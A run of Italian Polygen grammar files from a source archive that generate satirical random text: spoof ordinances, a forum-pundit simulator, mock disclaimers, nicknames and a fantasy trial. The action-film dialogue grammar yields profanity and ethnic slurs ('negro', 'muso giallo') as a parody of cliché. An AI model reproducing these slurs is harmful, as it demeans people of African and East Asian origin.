Bersaglieri" | "dell'Esercito della Salvezza" | "delle Crocerossine" | "delle pubbliche Assistenze" | "della Guardia Medica" | "della Polizia a Cavallo" | "degli Alpini" | "della Polizia Municipale" | "delle Forza Amate" | "del 3° Reggimento Cavalleria Savoia" | "dei Granatieri" | "dei Minatori" | "dei Saltimbanco" | "degli Sminatori" | "dei Frombolieri" | "dei Carpentieri" | "delle Guardie Svizzere" | "del Sacro Ordine dei Cavalieri di Malta" | "dei Cowboys" | "dell'A-Team" | "dei Martiri di Al-Aqsa" | "degli Hezbollah" | "delle Brigate Rosse" | "dei Carmelitani Scalzi" | "dei NAS" | "delle Teste di Cuoio" | "della Delta Force One" | "delle Guardie Imperiali" | "della Capitaneria di Porto" | "dei Guerrieri Elfici" | "dei Cavalieri Jedi" | "della Guardia Nazionale Padana" | "della 'ndrangheta" | "di Cosa Nostra" | "della Mafia" (russa|cinese|giapponese|portoricana) | "delle Camicie" (rosse|nere|verdi) | "degli Accalappiacani" | "degli Ultras" ("dell'Inter" | "del Milan" | "della Juve"^[ntus] | "della Roma" | "della Lazio" | "del Napoli" | "della New Team" | "del Cervia" | "dell'Atletico Van Goof" ) | "del Team America World Police" | "del Sacro Ordine dei" ( "Templari" | "Cavalieri Teutonici"); RELIGIONE ::= cattolica | calvinista | islamica | ebraica | buddhista | taoista | mormone | new age | animista | atea; UTILIZZIVARI ::= utilizzati dai lavoratori con turni lavorativi (casuali | flessibili | tali da impedire la fruizione dei mezzi di trasporto pubblico) | dei sacerdoti e dei ministri del culto [di qualsiasi confessione | di confessione >RELIGIONE] | degli operatori di [dis^]informazione | degli untori | dei monatti | di trasporto dei commercianti [non de^]ambulanti | impegnati per particolari o eccezionali attivita' [a discrezione degli "Agenti" FORZA] | utilizzati per il trasporto di (persone | animali) che si rechino >( a effettuare acquisti nei negozi di proprieta' del [(cugino | cognato | ^lo zio | ^la mamma) del ] \sindaco | presso le strutture sanitarie per sottoporsi a visite specialistiche^V terapie ed analisi programmate | a \quel \paese) ; DEROGHE ::= LI in "DEROGA" ai divieti di transito veicolare stabiliti con la presente ordinanza sono normalmente (+++aperti | chiusi) alla circolazione veicolare^DP NL2 UL TRATTI UF LF; TRATTI ::= [[LI TRATTO LF] LI TRATTO LF] LI TRATTO LF LI TRATTO LF LI TRATTO LF LI TRATTO; TRATTO ::= tratti di strade sterrate [e fangose] | tratti di strade [di collegamento] tra gli svincoli autostradali ed i parcheggi (sotterranei | posti in corrispondenza delle stazioni [periferiche] dei mezzi pubblici) | tratti di strade verticali | stretti marittimi [infestati da (squali | meduse | alligatori)] | ponti e pontili a CIFRA campate | tratti autostradali^V strade [statali e] provinciali ricadenti nei territori dei comuni [dis^]interessati dalla presente delibera | ++++\VIA \TOPONIMO | ++++ il tratto di collegamento da \AREACIRCOLAZIONE \TOPONIMO a \AREACIRCOLAZIONE \TOPONIMO | tratti fluviali destinati al trasporto merci | gallerie sottomarine | tratti di transiberiana | sentieri "CAI" [alpini] | piste sciistiche di pendenza (sup|inf)^eriore al CIFRA^CIFRA^"%" | piste ciclabili e zone pedonali | seggiovie e funivie; VIA ::= via | viale; AREACIRCOLAZIONE ::= +++piazza | +++largo | +++>VIA | piazzale | piazzetta | vicolo | calle | corso; (* le vie in Italia si chiamano tutte uguali *) TOPONIMO ::= PERSONAGGIO | NOBILECAUSA | NOMERANDOM; PERSONAGGIO ::= STORICO | RELIGIOSO | LETTERARIO | ARTISTICO; STORICO ::= garibaldi | mazzini | cavour | dei \mille | gramsci | de \gasperi; RELIGIOSO ::= madonna (della \tosse | del \trattore | del \sacro \cuore | delle \stelle | della \salute | delle \grazie) | san \marco | degli \angeli | della \[sacra|sant[^issim^]a|sacrosanta] \croce | santa \caterina da \siena | san \francesco | santa \rita da \cascia | sant'^\anna | san \filippo \neri; LETTERARIO ::= dante \alighieri | petrarca | ariosto | tasso | manzoni | leopardi | pascoli | d'\annunzio | de \amicis | benedetto \croce; ARTISTICO ::= giotto | masaccio | michelangelo | brunelleschi | bramante | della \robbia; NOBILECAUSA ::= della \>(liberta'| pace) | repubblica | italia | europa | indipendenza; NOMERANDOM ::= (bra|sma|fi|tra|cala)^(mba|mbe|ghe|fi|fo|co)^(ni|te|ga|tallo); V ::= ","; DP ::= ":"; NL ::= "\n"; NL2 ::= "\n\n"; CENTER ::= "
    "; NOCENTER ::= "
    "; OLA ::= "
      "; OL ::= "
        "; OF ::= "
      "; UL ::= "
        "; UF ::= "
      "; LI ::= "
    1. "; LF ::= "
    2. "; BIG ::= ""; NOBIG ::= ""; B ::= ""; NOB ::= "";polygen-1.0.6.ds2/grm/ita/pieroa.grm0000644000175000017500000001372610340417034016537 0ustar enricoenricoI ::= "title: Piero-a simulator\n" ^ "author: grimmo <luigi.messina@fastwebnet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: frequentatori di postare.it\n" ^ "created: 26/03/2004" ; S ::= \Soggetto [sempre] che (Problema.FS Pron.SI | Problema.MP Pron.PL | Problema.MS Pron.SI | Problema.FP Pron.PL) PostumAzione Fuffa^"." (\o|\che|\oppure|\tuttavia|\invece|\altrimenti|\senno') MoreFuffa^ [","NOOP]^"." \(quindi|ritengo che |percio'|-laonde|pero'|pertanto|-[indi] per cui | allora) Soluzione^"." [ \Finalizza ] ^"." ; Soggetto ::= PPS: io Verbo.PPS | ALTRI: ( mio (babb|fratell|nonn|zi|suocer|nuor|moros|cuggin)^o | mia (mamm|sorell|nonn|zi|suocer|moros|nuor|cugin)^a ) Verbo.ALTRI | ESIMII: [importanti|rinomati|stimati] (socio|psico) ^ (logi|terapeuti) Verbo.ESIMII ; Verbo ::= PPS: ( penso | dico ) | ALTRI: ( pensa | dice ) | ESIMII: (pensano | dicono | dichiarano | pontificano | affermano [chiaramente] ) ; Problema ::= FS: la >((pace|guerra) [nel mondo|nella \palestina|in medio oriente|nell'universo|in \iraq|in \israele]| politica | criminalita' [organizzata] | societa' | riforma (delle pensioni | della scuola | della sanita') | margherita | lega \nord | democrazia | monarchia | droga|camorra|rivoluzione bolscevica|'ndrangheta|stidda|corruzione|sacra corona unita | (sete|fame) nel mondo | xenofobia | scabbia | pubblicita'| radiazione di fondo dell'universo | questione morale | finanza [creativa|etica])| FS: l'^ >(\italia|\inghilterra|imprenditoria giovanile|energia [pulita] | economia )| FP: le >(banche | assicurazioni | bombe)| MS: il >(malcostume [moderno] | conflitto d'interessi | fascismo | comunismo | maoismo | \duce | terrorismo | buonismo | brigantaggio [di basso livello] | buddhismo | taoismo | militarismo | pacifismo | sufismo | totalitarismo | carovita| medio circolante | deficit | debito pubblico | carobenzina | petrolio | canone \rai|\pil|\g8 [a \genova]|lavoro | razzismo | terzo mondo)| MS: "" >(\berlusconi|\bertinotti|\fini|\fassino|\bossi|\prodi|\rutelli|\mussolini)| MP: gli >(ufo [invasori]| evasori [fiscali] | \ogm | eventi traumatici | sciiti | iracheni | israeliani | attentati [terroristici | di stampo terroristico | mafiosi])| MP: i >(cortei | manifestanti | lavoratori | bambini | giovani [di oggi] | malavitosi | talebani [e \bin \laden]) ; PostumAzione ::= costituito|costruito|causato|inglobato|globalizzato|avuto successo|accettato|legalizzato|influenzato [pesantemente|coerentemente] |senza sottilizzare [sui quando e sui perche']; NOOP ::= (ovviamente|naturalmente|+conseguentemente|veramente|-niente); Pron ::= SI: ha | PL: hanno ; Fuffa ::= secondo un'analisi storica [con tanto di bibliografia] | una debolezza strutturale | visti attraverso uno strumento mediatico | pur [non] essendo [non|ampiamente] condivisibile nelle direttrici generali | +una convivenza dei macrosistemi | un macrosistema delle convivenze| una reciproca soddifazione economica| --una catastrofe psicocosmica che infrange contro le mura del tempo | una responsabile e mirata opera di immagine ; MoreFuffa ::= se ognuno [non] rimane nel proprio ruolo (implica|causa|porta a|equivale a|significa) un (diverso| uguale) e [probabilmente] (opposto|medesimo|uguale|stesso) (approccio | modo di valutare | comportamento | imbarbarimento | impoverimento [culturale|morale]) | dovrebbe essere una zappa ma bastoni|funzionale ad una guerricola|gli schemi [non] esistono|[non] si capisce il consenso alle scelte|il comportamento collettivo e' costruito sull'imitazione|il moltiplicarsi delle posizioni crea la ragione|questo non e' un processo legale|ha a che fare con le pellicce|un no secco senza spiegazioni non e' meno no di uno con dietro un libro di razionali|sara' molto piu' convincente dell'altro, ma cio' non toglie che entrambi esistano|se e' logica come puo' essere magia|ripensavo alla storia del caos come possibile generatore|il desiderio di ingoio rappresenta un'altra forma di possessione maschile |e' un'intelligenza dotata di raziocinio | e' costante nell'universo|quelli che sono arrivati qua ci siano arrivati per sbaglio|noi possiamo percepire queste situazioni ma una volta innescate non abbiamo la certezza di controllarle (e|o) di fermarle|gli altri parlano se non rilevano atteggiamenti ostili|secondo la propria accezione che non viene esplicitata|poi ci si appiccicano etichette umanitarie e politiche | una politica di (alto|basso|medio) profilo|comporta soluzioni mediate piene di se e di ma | [non] e' molto salutare ; Soluzione ::= ((bisogna|occorre|e' necessario|tocca) (comprendere e capire | ascoltare e ascoltare) [e' indispensabile]) | richiede una risposta professionale [che non e' semplice da montare] | basta inglobar^(MS: lo | FS: la | MP: li | FP: le) nel sistema | non cambieranno perche' [non] c'e' (nessun|un) motivo che (le|li) faccia cambiare | rimangono reazioni nervose standard | nulla di nuovo sotto le stelle | l'occidente dovrebbe isolarsi nel suo territorio | l'"Islam" andrebbe a sostituire con la sharia l'ex blocco sovietico|[non] e' tale pure perche' [dentro|fuori] idee [nuove|vecchie] di gestione [non] arrivano|questo e' nel reale| vedere cio' che si semina|non mi aspetto grosse differenze fisiche|sicuramente non mi aspetto una pietra o un gas che ragionano|la situazione potrebbe non essere pulita come quando e' cominciata|come per tutte le cose sconosciute occorre prudenza|in questo caso tacciono o aggrediscono|sono dinamiche sociali | se dovessi scegliere fra \berlusconi e le bombe sceglierei \berlusconi|fare in modo che su ogni soluzione escano tutti soddifatti|in genere non ci sono grandi problemi a fare qualsiasi cosa ; Finalizza ::= [ \e comunuque ] in un altro post ho gia espresso la mia opinione in tal proposito | ripensavo al caos come possibile generatore | voi che ne pensate | si potrebbe dire che manchi di un pizzico di lungimiranza | ma nessuno si sogna di esportare democrazia| al limite serve la stabilita'| in genere la buona gestione la si costrusce con il fruscio delle banconote; polygen-1.0.6.ds2/grm/ita/amiG.grm0000644000175000017500000000206010340417034016122 0ustar enricoenrico I ::= "title: Amici del G\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: final\n" ^ "topic: misc\n" ^ "audience: Mat e quelli che conoscono la sua compa\n" ^ "created: 02/09/2002" ; S ::= il Nick ^"," il Taddi ^"," il Gabbo ^"," il Pucci^"," il Calle ^"," il Ciccio e (il (Mat | G) | Mat^G) ; Nick ::= (+"N" | "M" | "D" | "T" | "B" | "G") ^ i ^ (+ck | k | t | p | f) ; Taddi ::= (+"T" | "C" | "P" | "K") ^ a ^ (+dd | cch | kk | pp | ggh | ff | ll | vv | tt | rr) ^ i ; Gabbo ::= (+"G" | "B" | "C" | "D" | "P" | "T") ^ a ^ (+bb | pp | gg | kk | cc | zz) ^ o ; Calle ::= (+"C" | "T" | "G" | "P" | "K" | "B") ^ a ^ (+ll | kk | pp | cch | ggh | ff | tt | dd) ^ e ; Ciccio ::= (+"C" | "D" | "P" | "T" | "F" | "R" | "S" | "B") ^ i ^ (+cc | gg) ^ io ; Mat ::= (+"M" | "G" | "C" | "F" | "T" | "P") ^ a ^ (+t | p | k | b) ; G ::= +"G" | "T" | "Q" | "P" | "V" | "B" | "D" | "C" ; Pucci ::= (+ "P" | "B" | "G" | "T" | "C" | "F" | "D" | "L" | "M" | "N") ^ u ^ (+ cc | ll | tt | ff | gg | mm | rr | zz) ^ i ; polygen-1.0.6.ds2/grm/ita/action.grm0000644000175000017500000002577210340417034016541 0ustar enricoenrico I ::= "title: Dialoghi di film d'azione\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim:" {che Razza dica [solo [una montagna di]] Stronzate} {e' solamente un (luogo comune | cliche')} ^ "\n" ^ "created: 23/03/2003" ; S ::= (Q1 := "" \P.art ":"\ ; Q2 := "" \P.art ":"\ ; Q3 := "" \P.art ":"\ ; QE := ^"\n"^ ; B1 ::= Q1 Dial1 [Dial1] QE ; B2 ::= Q2 Dial2 QE ; B3 ::= Q3 Dial3 QE ; B1 B2 [[B1 | B3] B2] B1).(negro|NOnegro) ; P ::= Titolo Cognome | Nome | Razza ; Titolo ::= (art: il | di: del) (tenente | sergente | maggiore | capitano) ; Nome ::= (art: _ | di: di) ("John" | "Jack" | "Joe" | "Jay" | "Frank" | "Ray") ; Cognome ::= (art: _ | di: di) ("Johnson" | "Smith" | "Jefferson" | "Williams" | "Simons") ; Razza ::= negro: (art: il | di: del) negro | NOnegro: (art: il | di: del) (++ muso giallo | cinese) | NOnegro: (art: l'^ | di: dell'^) ispanico ; PM ::= ^"."\ ; PPPM ::= ^"..."\ ; EM ::= ^"!"\ ; EEM ::= ^"!!"\ ; QM ::= ^"?"\ ; QEM ::= ^"!?"\ ; Dial1 ::= {{siamo ( in (una [Fottuta] montagna | un [Fottuto] mare) di [Fottuta] merda [del cazzo] | nella merda [fino al collo] )} {[questa volta]} [^"," Amico] EM} | {e' tutto inutile [^"," Amico] EM} {capisci QM} | (Hey | Dannazione) [^"," Amico] EM [e] {(quello | quella Cosa) [laggiu' | lassu']} {che diavolo (e' | era)} QM | (ma | Hey EM) (cosa | che) diav^ (PPPM | olo (e' successo | succede) [qui]) QM | qualcosa mi dice che >([qui | li'] (e' successo | sta succedendo) qualcosa | abbiamo un [Fottuto] problema [del cazzo] ) PM | [Dannazione EM] non (ce la faccio | ci riesco) [^"," Amico] EM | [Dannazione EM] e' tutto inutile [^"," Amico] EM | Hey EM [Amico^","] questi Bastardi vogliono farci la festa EM | [Hey^","] (mi e' parso | giurerei) di aver (sentito un rumore | visto qualcosa [muoversi]) laggiu' [^"," Amico] PPPM | Dannazione [^"," Amico] EM ce li abbiamo alle (costole | calcagna) EM | [Dannazione EM] {Amico}^"," {guardati le spalle [^"," Bastardo]} EM ; Dial2 ::= (che Stronzata | SonoStronzate) [^"," Amico] EM [SonoStronzate EM] | Hey {[^"," Amico]} {^"," non (fare | dire) Stronzate} EM [(va bene | d'accordo | intesi) QM] | Hey EM (tutto (bene | ok) | sei tutto intero) [^"," Amico] QM | (c'e' | hai) (qualche | un) problema ^"," Amico QM | [Dannazione EM] [non e' possibile EM] ci dev'essere UnModo EM [c'e' sempre UnModo EM] | Hey^"," [Amico^","] questo non e' un problema [tuo | mio] EM | [Hey^","] rilassati ^"," Amico PPPM >[VaBene | sono io^"," non mi riconosci QM] | [Dannazione EM] siamo fottuti [^"," Amico] EM [(creperemo | moriremo) tutti] EM | Hey {[^"," Amico]} {^"," (stai dicendo | dici) a me [per caso]} QM | [Hey^","] [Amico^","] non ho tempo per (le tue | queste) Stronzate [adesso | ora] EM | ([Dannazione EM] tutto questo | [Hey^","] [Amico^","] quello che dici) non ha senso EM | [hey^","] Sicuro [^"," Amico] EM [Sicuro PM] | Hey {[^"," Amico]} {^"," ti (- si e' fottuto | e' andato di volta | sei bevuto) il cervello} QM | Hey^"," [[Amico^","] non so te^"," ma] io ci tengo alla (pelle | mia pelle di negro [del cazzo]) [^"," Amico] EM | c'avrei (giurato | scommesso) ^"," Amico EM | [Presto EM] portiamo (le chiappe | i nostri culi | il culo) fuori di qui [^"," Amico] EM | [Hey^","] {sai (cosa | che) ti dico} ^"," {Amico} QM Dial2 | [Hey^","] [Amico^","] fanculo^"," cazzo EM [VaBene] | >DialA [DialA] ; Dial3 ::= [Amico^","] (non ne posso piu' | sono stufo | ne ho le palle piene) (di [tutte] queste | delle tue) Stronzate EM | [Hey^","] [Amico^","] piantala con [tutte] queste Stronzate EM [VaBene] | [Presto [^"," Amico] EM | Amico^","] {possiamo ancora farcela EM} {[VaBene]} | Presto EM dobbiamo farcela [ad ogni costo | a tutti i costi] [^"," Dannazione] EM | [ma] [allora] (quello e' | tu sei | sei stato tu a | quella Cosa era) PPPM EM | [(si' | no | Sicuro) [^"," Amico] PM] {sei tu} {il [mio] problema} EM | [no^"," ] sei tu (che hai | ad avere) un problema [^"," Amico] EM | Presto [^"," Amico] EM (andiamocene | dividiamoci) [[EM e] alla svelta] EM | [beh^","] {[allora]} {ti consiglio di pensare [Fottutamente] (in fretta | alla svelta)} [^"," Amico] EM | lascia (perdere | fare a me) [^"," Amico] EM | sei solo un Fottuto (muso giallo |+ negro) [di merda | del cazzo] EM | va^(' | i) al (diavolo | ^l'inferno) [^"," Bastardo] EM | (([spero | mi auguro] che tu possa | ti auguro di) bruciare | brucia) all'inferno [^"," Bastardo] EM | ( leva il tuo [brutto | Fottuto] culo (+ negro | giallo) [del cazzo] | {(tieni | ti conviene tenere) {chiuso} {il [tuo Fottuto] becco}} ^"," {Amico} ) (prima che | se non vuoi che | o) ti (faccio saltare le cervella | spedisco [dritto [dritto]] all'inferno) EM | Sicuro [^"," Amico] EM [Sicuro PM] | [Hey] Amico^"," nessuno mi ha mai detto Bastardo PM | tieniti forte ^"," Amico^":" ( si (parte |+ balla) | {lo spettacolo | la festa} {(comincia | inizia) | sta per (cominciare | iniziare)} ) EM | di' le [tue] ultime preghiere [^"," Amico] EM | questo (e' | deve essere) il (mio | tuo) giorno fortunato [^"," Amico] PPPM | {(ti conviene (parlare | cantare) | e' meglio che (canti | parli)) (subito | ora)} ^"," {se ci tieni alla (pelle | tua pell^(accia | e) (nera | di negro [del cazzo]))} EM | [Presto EM] (ti ho | ce li abbiamo) in pugno [^"," Amico] EM | ((M: il sacrificio | F: la morte) di P.di non puo' essere stat^(M: o | F: a) inutile EM).(M|F) | [(Presto | Dannazione) EM] dobbiamo restare (calmi | uniti) EM | >DialB [DialB] | >DialC ; DialA ::= non ce la farete mai se rimango con voi PPPM | siamo (fregati | fottuti) ^"," Amico EM | andate avanti senza di me PPPM | andremo avanti senza di (te | me) EM | non pensate a me PPPM | (potrebbe essere | e') una trappola EM | [Presto EM] tagliamo la corda EM | sono dappertutto EM | [Dannazione EM] non siamo soli (in questo posto | qui) EM | tutti fuori di qui EM | abbandoniamo questo Fottuto posto EM | e' la fine EM | non c'e' [altra] via di (uscita |- scampo) EM | {non abbiamo scampo} {[questa volta]} PPPM | tutti per di qua EM [(e alla svelta | presto) EM] | {Presto EM} {da questa parte EM} | (assaggi^(S: (a | erai) | P: (ate | erete)) (questo | il mio) piombo ^"," (S: Bastardo | P: Bastardi) EM).(S|P) ; DialB ::= no EM non mollare EM | puoi farcela EM | (chi ci dice che | non) possiamo fidarci [di (questo Bastardo | te)] [^"," Amico] EM | Dannazione EM chi ci dice che stia dicendo la verita' QM | [vedrai che] andra' tutto bene (PPPM | [^"," te lo prometto | Sicuro] ^"," ok QM) | {[Sicuro PM]} {{torneremo a casa sani e salvi} {[anche questa volta]} PM} | ci deve essere una altra uscita EM | non possiamo lasciarti qui [^"," Amico] EM | [Dannazione EM] non puoi lasciarci cosi' EM | torneremo a prenderti [^"," Amico] EM [Sicuro EM] | >(ti vendichero' | li faro' fuori tutti) [^"," Amico] EM [fosse [anche] l'ultima Cosa che faccio PPPM] | non puoi farcela da solo EM | [ti prometto che] ce la faremo PPPM [VaBene] | [Dannazione EM] te ne pentirai [^"," Amico] EM | non cantiamo vittoria [troppo facilmente] EM | [Presto EM] non e' ancora detta l'ultima parola [^"," Amico] EM | hai capito"," Amico QM | [Hey^","] ce l'abbiamo sempre fatta [^"," Amico] [^":" [vedrai che] (ci riusciremo | ce la faremo) anche questa volta] EM | e va bene Bastardi EM ritirata EM [ritirata EM] | [Dannazione EM] spara[^te] [^"," Bastardi] EEM [spara[^te] EEM] | (falli | facciamoli) saltare ^"," Amico EM | ce l'avevamo quasi fatta"," Amico PPPM ; DialC ::= adesso smettetela [voi due] EM | chi [diavolo [ti]] credi di essere per dare ordini [a me | qui] QM | (questa e' | adesso siamo al^) la resa dei conti [^"," Amico] EM | [questa volta] non hai [piu'] scampo [ormai] EM | sei [proprio] (uguale a | [proprio] come) tuo (+ padre | fratello |- nonno |-- zio) PM | questo lo dici tu [^"," Amico] EM | [povero] (illuso | sciocco) EM non ce la farai mai EM | Bastardo EM hai ucciso (mia madre | mio padre | mia sorella | mio fratello) EM | ([e'] inutile | non serve [a nulla]) avere rimpianti adesso EM | piantala EM e' ora di muoversi EM | non e' rimasto piu' nulla da fare qui PPPM | [Hey EM] che diavolo stai dicendo"," Amico QM | {tieni {chiuso} {il [tuo Fottuto] becco}} ^"," {[Hey^","] Amico} EM ; (* espressioni comuni *) Cosa ::= [Fottuta] (cosa |- roba) [di merda | del cazzo] ; Sicuro ::= sicuro | (ci puoi scommettere | puoi scommetterci) [le palle] | ci puoi contare ; VaBene ::= (e' tutto (ok | a posto | finito) | va tutto bene) (^"," (ok | va bene |- intesi) QM | EM) [ci sono {[qua | qui]} {io} [con te] PPPM [Dannazione EM]] ; Stronzata ::= [grossissima | >Fottuta] stronzata [del cazzo] ; Stronzate ::= [grossissime | >Fottute] stronzate [del cazzo] ; SonoStronzate ::= [sono [tutte | solo [un (mucchio | sacco) di]]] Stronzate ; UnModo ::= un [Fottuto] modo | una [Fottuta] soluzione [logica | razionale] ; Amico ::= amico | negro: fratello [ne[^g]^ro] |- bello ; Hey ::= hey | >Dannazione ; Dannazione ::= dannazione | maledizione |- merda | "Cristo" ["Santo"] ; Presto ::= presto | forza | svelto ; Fottut ::= (++ fottut | dannat | maledett | lurid) (_ |+ ^issim) ^ (M: (S: o | P: i) | F: (S: a | P: e)) ; Fottuto ::= Fottut.M.S ; Fottuta ::= Fottut.F.S ; Fottuti ::= Fottut.M.P ; Fottute ::= Fottut.F.P ; Fottutamente ::= fottutamente | maledettamente | dannatamente ; Bastard ::= [Fottut] ( >(++ bastard | stronz) ^ (M: (S: o | P: i) | F: (S: a | P: e)) | figli (M: (S: ^o | P: _) | F: ^(S: a | P: e)) di puttana | pezz ^ (M: (S: o | P: i) | F: (S: a | P: e)) di merda | vigliacc ^ (M: (S: o | P: hi) | F: (S: a | P: he)) ) [di merda | del cazzo] ; Bastardo ::= Bastard.M.S ; Bastardi ::= Bastard.M.P ;polygen-1.0.6.ds2/grm/ita/disclaimer.grm0000644000175000017500000001127610340417034017372 0ustar enricoenricoI ::= "title: Disclaimer\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: ecco" finalmente il disclaimer per il POLYGEN per SOMEPEOPLE e specialmente per l'\enrica cosi' magari diventa un po' meno monotematica SEGNO.PU3 ^"\n" ^ "created: 09/04/2004" ; S::= \[PRE] THIS e' [REP] ADV AIM SEGNO.PU3 BUT (STAFF | THIS) DISC BUT COULD ; REP ::= reputato | ritenuto | stato definito | considerato ; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | V: ^"," | VT: ^"\""\ ); PRE ::= [attenzione SEGNO.PU2] (il servizio offerto da | il contenuto di | lo scopo di ); STAFF ::= lo staff di THIS | l'insieme di imbecilli che gestisce THIS | NOME SEGNO.V TITLE di THIS SEGNO.V ; NOME ::= \(manta | "Vision-X" | helder | gioppino | zeff ); TITLE ::= (titolare | [[il^]legale] rappresentante | [nudo] proprietario | inventore | detentore ) [e TITLE]; WHAT ::= F: (offese | discriminazioni | ingiurie | perdite di profitti | cecita' | ernie) | M: (fallimenti | danni | malfunzionamenti ); DERIV ::= (derivat | causat | generat | -cagionat | procurat | innescat | originat | arrecat | indott | apportat | effettuat)^(F:e|M:i); BYWHAT ::= (M:( dall'[ab]^uso | dall'utilizzo | dall'impiego)| F:(dalla consultazione)); SMOD ::= (smodat | eccessiv | non controllat | [non] morigerat )^(M:o|F:a); BUT ::= (ma | tuttavia | quantunque | in ogni caso | d'altra parte | d'altro canto | infatti | in effetti | dunque | invero | effettivamente | nonostante cio' SEGNO.V | comunque ); DISC ::= DECL EVERY THING ABOUT POSSIBLE (WHAT.F DERIV.F | WHAT.M DERIV.M) (BYWHAT.M SMOD.M | BYWHAT.F SMOD.F) di THIS SEGNO.PU0 [BUT ((STAFF | THIS) DISC | COULD)] ; DECL ::= (respinge | non accetta | evita | elude | ricusa | dice di no a | declina | rigetta | finge di non accorgersi di | se ne frega di ); EVERY ::= (ogni | un po' di | una parte di ); THING ::= (correttezza | responsabilita' | offese | accuratezza | ignoranza | conseguenza ); ABOUT ::= (riguardo | derivante da | su | riguardante | concernente | che non abbia niente a che vedere con ); POSSIBLE ::= (possibili | probabili | inevitabili | inoppugnabili | indecifrabili | [im^]prevedibili | impredicabili ); THIS ::= (questo sito | tale sito | POLYGEN); AIM ::= ( casuale | a scopi ludici | [in^]offensivo | parodistico | satirico | gratuito | pornografico | scatologico | dendrofilo | [in^]controllato ); COULD ::= SOMEPEOPLE MAY POLYGEN ADV AIM SEGNO.PU3 ATS (STAFF| THIS) WARN che POLYGEN SEGNO.V RAND SEGNO.V puo' GEN INCR SEGNO.PU3 ATS STAFF CONS SEGNO.PU0 [BUT ((STAFF | THIS) DISC | COULD)]; SOMEPEOPLE ::= (certe persone | certi gruppi etnici | certi individui ) [ADJPEOPLE] ; ADJPEOPLE ::= [ADV] ( "politically-correct" | in minoranza | ADV adirabili | mancanti di senso dell'umorismo | -che evidentemente non hanno un (marone | cavolo | \helder | ^a minchia | tubo) da fare [tutto il giorno]); MAY ::= potrebbero >(trovare | reputare | ritenere | giudicare | considerare | (incazzarsi | adirarsi | alterarsi | inalberarsi | inebetirsi) perche' (considerano| reputano | ritengono | giudicano)); ADV ::= ( particolarmente | puramente | chiaramente | ovviamente | facilmente | ridicolamente | ignobilmente | omosessualmente | onanisticamente | helderamente | inevitabilmente | inconfutabilmente | schifosamente | tristemente | inequivocabilmente | molto | poco | quasi ); ATS ::= a tale scopo | percio' | dunque | per questo [motivo] | infatti | di conseguenza | conseguentemente | per tali ragioni | per tali ragioni ; RAND ::= in modo casuale | in maniera involontaria | involontariamente | senza preavviso | casualmente; GEN ::= generare | creare | causare | portare | cagionare | procurare | innescare | originare | arrecare | indurre | apportare; INCR ::= (((incresciose | spiacevoli | deprecabili | fastidiose ) (incomprensioni | ambiguita' | offese)) | ((incresciosi | spiacevoli | fastidiosi | deprecabili) (qui pro quo | incidenti [diplomatici]))) [e INCR] ; CONS ::= (( consiglia | ordina | chiede ) (all'utenza | agli utenti | a lorsignori ) | prega (l'utenza | gli utenti | lorsignori) )TODO; TODO ::= di (rivolgersi a | protestare con | picchiare | mandare un'email piena di proteste a | concedersi carnalmente a ) NOME SEGNO.V TITLE di THIS ; WARN ::= rende noto | avverte | fa sapere | ricorda | ci tiene a ricordare | mette al corrente | comunica | segnala | avvisa | notifica ; POLYGEN ::= \(+pol | flop | frung | prot | cip[^p] | zof | sperm | mant | zef | held | cug | rutt | spor^(c|k) | romp) ^(i|+y) ^(+gen | zeff | pel | lef | sperm | dent | gref[^f] | flep | pen | gnec[^s] | perl ); polygen-1.0.6.ds2/grm/ita/trial.grm0000644000175000017500000000446410340417034016372 0ustar enricoenricoI ::= "title: L'Ultima prova\n" ^ "author: Mefistofele <matteo@genhome.org>\n" ^ "language: italian\n" ^ "status: embrional\n" ^ "topic: story\n" ^ "audience: anybody\n" ^ "created: 11/10/2004" ; S ::= "\nBene mio discepolo, l'ultima tua prova per assurgere allo stato di Sommo" \Title \Object "e' questa: devi "^Thetrial^" e non "^(pago | soddisfatto | contento)^" di cio' dovrai "^Thetrial^",...(continua)\n" ; Title ::= maestro | signore | sacerdote | redentore | inquisitore | sciamano | reggente | saggio ; Object ::= de (^l \uinzun | ^l \peccato | ^l'\universo | ^l \mondo | ^i topi | ^lla \patata | ^lla \zolla | ^ll'\umanita | ^lle \fogne) ; Thetrial ::= Movethrough Gate Gatenames e Moveto Path ; Movethrough ::= attraversare | oltrepassare | sfondare | scalare | aggirare | distruggere | annientare | trovare | penetrare | raggiungere ; Gate ::= il cancello | la soglia | il passo | il valico | la torre | (gl^Quantity.M.art (cancelli | bastioni)) | (Quantity.F.art (porte | soglie | torri)) ; Gatename ::= (moria | moira | avalon | albion | ntkar | "sop-rak-kat" | nturf | azakoth | "subngur-rath" | astalaskorgnath | "rep-lak-tanoth" | kadath | "yogsothoth" | astaroth | belzebub | australopitek | nifheilm | wargratk | sothomaihor | sodoma | gomorra | babele) ; Gatenames ::= (di \Gatename) ; Quantnum ::= impensabili | incalcolabili | inenarrabili ; Quantlet ::= oscur | impervi | inverecond | infinit | etern ; Quantity ::= ((art: (M: i | F: le) | NOart: _)(Quantlet^(F: e | M: i) | Quantnum)) ; Moveto ::= percorrere | seguire | cercare | trovare | aggirare | superare ; Pathname ::= (M: (boschi | pozzi | villaggi) | F: (valli | colline | tombe | paludi | dimensioni | foreste) ) ; Guard ::= di \Gatename [(guardat | controllat | dominat | possedut)^(F: e | M: i) dal Daemon] ; Path ::= (M: gl^Quantity.M.art \Pathname.M Guard.M | F: Quantity.F.art \Pathname.F Guard.F) ; Daemontype ::= ^l'inguardabile | ^l'irraggiungibile | ^l'invisibile | supremo | demoniaco | satanico | perverso | ^l'innominabile | oltraggioso | impudico | inverecondo ; Daemon ::= Daemontype \Title di \Gatename ; polygen-1.0.6.ds2/grm/ita/nomiemiliani.grm0000644000175000017500000000166010340417034017724 0ustar enricoenricoI ::= "title: Nomi Emiliani\n" ^ "author: Denis <deferret@tin.it>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: Quelli che devono dare un nome (e un cognome) a un bambino emiliano\n" ^ "disclaim: uh?\n" ^ "created: 8/10/2004" ; S ::= Prod ; 